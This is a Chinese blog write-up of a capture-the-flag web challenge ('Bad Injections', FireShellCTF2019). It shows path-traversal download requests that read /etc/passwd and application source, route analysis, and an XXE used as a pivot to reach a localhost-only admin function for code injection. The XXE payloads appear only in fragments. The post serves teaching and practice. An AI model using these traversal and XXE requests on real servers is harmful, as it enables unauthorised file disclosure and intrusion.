download php ctf,FireShellCTF2019 Bad Injections解题记录

本文详细记录了一次CTF比赛中的Web题目解决过程,涉及文件包含、源码泄露、路由分析、代码注入和XXE漏洞利用。通过分析路由规则和源码,发现了仅限本地访问的功能,利用XXE漏洞作为跳板,最终实现了代码注入,揭示了Web安全中的常见攻击手段和技术。
摘要由CSDN通过智能技术生成

170381

这是整场比赛最简单的Web题…Web题质量很高,貌似现在还没有关环境

主页面有四个功能,纯静态页面。右键about页面源码信息:

170381

给个本地web目录

接着在list页面的源码里发现信息:

170381

因为页面显示图片,url没有其他参数,猜测应该是readfile之类的函数读的文件。File+hash的方法,既然是ctf,那hash应该不会加key。下载一个文件试一下能不能成功

68.183.31.62:94/download?file=files/../../../../../etc/passwd&hash=ab56ade6fe16a65bce82a7cd833f13cc

这里让hash = md5(file),成功下载到了/etc/passwd

170381

尝试去读/flag发现文件不存在,去读.bash_history也不存在..捷径失败…

看到之前list下载的test.txt内容是这样的

170381

down一下download的源码,顺便fuzz一下Controllers的文件

68.183.31.62:94/download?file=files/../../app/Controllers/Download.php&hash=f350edcfda52eb0127c4410633efd260

字典只跑出来了个admin.php

170381

先是用file_get_contents加载一个文本,之后loadXML解析取值,usort排序输出。感觉存在一个XXE或者是create_function的代码注入,因为找不到/flag文件所以利用XXE没什么卵用,那应该就是代码注入了,但是要加载外部文本来引入正确xml文本才能进入函数判断。

尝试请求admin?url=xxx&order=xx死活获取不到页面,应该是路由没找对。在这卡了一会,请教腹黑师傅,才想起来去读入口文件。

68.183.31.62:94/download?file=files/../../app/Index.php&hash=1dfd7acd700544ea7d26b8368935c4e8

/app/index.php

ini_set('display_errors',1);

ini_set('display_startup_erros',1);

error_reporting(E_ALL);

require_once('Routes.php');

function __autoload($class_name){

if(file_exists('./classes/'.$class_name.'.php')){

require_once './classes/'.$class_name.'.php';

}else if(file_exists('./Controllers/'.$class_name.'.php')){

require_once './Controllers/'.$class_name.'.php';

}

}

再去读路由/app/Routes.php

Route::set('index.php',function(){

Index::createView('Index');

});

Route::set('index',function(){

Index::createView('Index');

});

Route::set('about-us',function(){

AboutUs::createView('AboutUs');

});

Route::set('contact-us',function(){

ContactUs::createView('ContactUs');

});

Route::set('list',function(){

ContactUs::createView('Lista');

});

Route::set('verify',function(){

if(!isset($_GET['file']) && !isset($_GET['hash'])){

Verify::createView('Verify');

}else{

Verify::verifyFile($_GET['file'],$_GET['hash']); //设置session,file和hash对应请求文件

}

});

Route::set('download',function(){

if(isset($_REQUEST['file']) && isset($_REQUEST['hash'])){

echo Download::downloadFile($_REQUEST['file'],$_REQUEST['hash']);

}else{

echo 'jdas';

}

});

Route::set('verify/download',function(){

Verify::downloadFile($_REQUEST['file'],$_REQUEST['hash']);

});

Route::set('custom',function(){

$handler = fopen('php://input','r');

$data = stream_get_contents($handler); // xml

if(strlen($data) > 1){

Custom::Test($data);

}else{

Custom::createView('Custom');

}

});

Route::set('admin',function(){

if(!isset($_REQUEST['rss']) && !isset($_REQUES['order'])){

Admin::createView('Admin');

}else{

if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){

Admin::sort($_REQUEST['rss'],$_REQUEST['order']);

}else{

echo ";(";

}

}

});

Route::set('custom/sort',function(){

Custom::sort($_REQUEST['rss'],$_REQUEST['order']);

});

Route::set('index',function(){

Index::createView('Index');

});

原来我只down了download和admin页面,还有其它功能页面没down到,看到了玄学的admin规则如下,只有本地才能请求到sort函数

Route::set('admin',function(){

if(!isset($_REQUEST['rss']) && !isset($_REQUES['order'])){

Admin::createView('Admin');

}else{

if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){

Admin::sort($_REQUEST['rss'],$_REQUEST['order']);

}else{

echo ";(";

}

}

});

只能找一下其他利用,再看Custom

Route::set('custom',function(){

$handler = fopen('php://input','r');

$data = stream_get_contents($handler);

if(strlen($data) > 1){

Custom::Test($data);

}else{

Custom::createView('Custom');

}

});

Custom::Test

class Custom extends Controller{

public static function Test($string){

$root = simplexml_load_string($string,'SimpleXMLElement',LIBXML_NOENT);

$test = $root->name;

echo $test;

}

}

$data内容可控为php://input,Test函数再将$data作为xml文本解析,那么存在XXE的问题,验证了一下可以利用

170381

联想到刚才admin页面只有本地才能请求,那就用Custom的XXE当跳板好了,测试一下是否能当跳板

poc:

]>

&file;

170381

admin页面确实file_get_contents到了我vps的xxe文本。

尝试去构造正确的xml文本到执行到usort函数进行注入,warning不影响代码执行

http://vps/xxe.txt

@hpdoger.me

@souhu.com

POC

]>

&file;

170381

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值